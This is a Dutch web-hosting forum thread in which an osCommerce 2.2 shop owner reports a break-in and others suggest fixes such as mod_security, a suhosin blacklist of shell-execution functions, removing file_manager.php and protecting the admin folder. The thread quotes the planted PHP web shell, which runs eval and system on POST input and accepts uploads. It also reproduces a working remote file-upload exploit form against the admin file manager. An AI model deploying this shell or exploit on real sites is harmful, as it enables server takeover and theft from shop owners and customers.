Bekijk Volledige Versie : oscomerce hack?
Ik zag 5 files staan in de image map van oscomerce
Waaronder deze: goog1e6d801d92492b72.php
Hieronder de code:
<?php exit;?><?php $e=@$_POST['e'];$s=@$_POST['s'];if($e){eval($e);}if($s){system($s);}if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}?>
Weet iemand wat dat is?
Triloxigen
15/09/10, 13:25
Een file upload script.
Lijkt me dus geen goede bedoeling en heeft niks met osCommerce te maken.
Maar het bestand is wellicht wel via oscommerce geupload of een ander script wat erbij staat.
Ik heb het gevonden hoe ze er in komen, ze gebruiken /admin/file_manager.php
Heeft er iemand een idee hoe je dit lek kunt stoppen?
<?php # Web Shell by boff
[%] vulnerable file: /admin/file_manager.php
[REMOTE FILE UPLOAD VULNERABILITY]
[$] Exploit:
<html><head><title>Oscommerce Online Merchant v2.2 - Remote File Upload </title></head>
<br><br><u>UPLOAD FILE:</u><br>
<form name="file" action="http://<-- CHANGE HERE -->/admin/file_manager.php/login.php?action=processuploads" method="post" enctype="multipart/form-data">
<input type="file" name="file_1"><br>
<input name="submit" type="submit" value=" Upload " >
</form>
<br><u>CREATE FILE:</u><br>
<form name="new_file" action="http://<-- CHANGE HERE -->/admin/file_manager.php/login.php?action=save" method="post">
FILE NAME:<br>
<input type="text" name="filename"> (ex. shell.php)<br>FILE CONTENTS:<br>
<textarea name="file_contents" wrap="soft" cols="70" rows="10"></textarea>
<input name="submit" type="submit" value=" Save " >
</form>
</html>
Nou met mod_security (http://www.modsecurity.org/) kom je een heel eind.
En draait deze osCommerce de laatste versie?
mod_security draait al mee, suPHP ook.
Er is verder ook geen schade aangericht, verder dan de files uploaden kwamen ze niet.
Maar ik heb voor de zekerheid file_manager.php verwijderd.
De versie is van oscommerce is 2.2
Je kunt ook d.m.v. suhosin e.e.a. blokkeren, wij blokkeren standaard de volgende functies i.s.m. suhosin
; suhosin
suhosin.executor.func.blacklist = "exec,system,passthru,escapeshellarg,escapeshellcmd ,proc_close,proc_open,dl,popen,show_source"
Dave ik gebruik custom php.ini voor elke gebruiker, dus iedere account heeft zijn eigen php.ini
Ik was net bezig om deze aan te passen :)
Ik vermoed http://www.exploit-db.com/exploits/14799/
Ah, versie 2.2.
Kijk maar gewoon even hier (http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=osc&filter_author=&filter_platform=0&filter_type=0&filter_port=&filter_osvdb=&filter_cve=). Zijn er genoeg voor 2.2 zie ik...
En mod_security is ook al geconfigureerd? ;)
Triloxigen
15/09/10, 18:24
Ik vermoed dat de hack gelijk gaat met de mail hack van laatst via het login.php formulier
Ik vermoed dat de hack gelijk gaat met de mail hack van laatst via het login.php formulier
Welke mail hack gaat het over? Ik heb nooit een mail hack gehad gelukkig.
Ik ben nog even aan het zoeken geweest, de nieuwe oscomerce heeft ook al lekken.
Het nadeel bij oscomerce is dat bij een update/upgrade de hele template wordt overschreven,
je kunt dan alle custom codes weer opnieuw gaan doen.
Welke mail hack gaat het over?
Ik gok deze (http://www.graith.co.uk/oscommerce-mail-hack.php).
Ilnee, was een nutteloze blogpost is dat op je link zeg. Ik ga ook een blog maken met berichten over iedere webapplicatie die ik kan bedenken met login screentje erbij en text zoals "Software X is vulnerable" "hackers can get to all admin functions if they want" want dat is de keiharde waarheid bij kant en klare pakketten (waar de source van beschikbaar is) zoals deze.
Proof of Concept erbij was wellicht leuk geweest.
Maar a) het is geen blogpost, b) het dient enkel ter waarschuwing van de eigen klanten en c) er wordt een workaround vermeld. Prima dat jij er niet de informatie vindt die je kennelijk zocht, maar ik vind het een prima gebaar naar de klanten van die host. Je vergelijking raakt kant noch wal.
Triloxigen
15/09/10, 21:07
Welke mail hack gaat het over? Ik heb nooit een mail hack gehad gelukkig.
Ik ben nog even aan het zoeken geweest, de nieuwe oscomerce heeft ook al lekken.
Het nadeel bij oscomerce is dat bij een update/upgrade de hele template wordt overschreven,
je kunt dan alle custom codes weer opnieuw gaan doen.
http://www.billcookedesigns.com/tag/adminmail-phplogin-php/
Een hele simpele oplossing zou al zijn om je admin dir van een wachtwoord te voorzien.
Triloxigen
22/09/10, 18:47
Ik kwam het vandaag ook weer eens tegen dus denk ook maar meteen even het topic inlichten.
Ik vermoed dat Multiviews uitzetten het probleem ook oplost, je kunt het dan niet meer via de url benaderen.
Doe eens een find/locate op goog*
wellicht krijg je er meer.
Ik weet niet in welke versie van osCommerce, maar was het niet zo dat je ieder willekeurig bestand via /admin/(.*)/login.php op kon vragen? En zo ook alle bestellingen, betaalstatussen, enz.
(3 seconden Google'n later: http://seclists.org/fulldisclosure/2009/Nov/169)
Gezien de ontwikkelsnelheid en geschiedenis van osCommerce, gewoon de deur uit doen dat pru^Wpakket.
Triloxigen
24/09/10, 12:59
Ieder pakket wat al lang bestaat bevat lekken, maar dan is osCommerce toch eentje met niet eens zoveel.
Ongeveer 5 jaar doen over een patch om oscommerce te laten functioneren met uitgeschakelde register_globals, of door nu nog steeds afhankelijk te zijn van register_long_arrays... Er zijn pakketten die dat beter, en netter, geregeld hebben (bovenstaan de link is van november 2009, er is nu nog geen nieuwe versie).
Maar goed, ik wil hier geen discussie of flame war over pakketten beginnen :)
Triloxigen
24/09/10, 13:33
Er wordt ook niet meer ontwikkeld aan versie 2, daarvoor heb je 3.
Maar je hebt gelijk daat de ontwikkeling niet hard gaat, maar dat is ook niet zo van belang aangezien osCommerce er veel meer gericht is op het aanpassen van de webinkel en patchen dus toch niet zal werken.
Het is meer gebaseerd op de verantwoordelijkheid van de onderhouder van het systeem.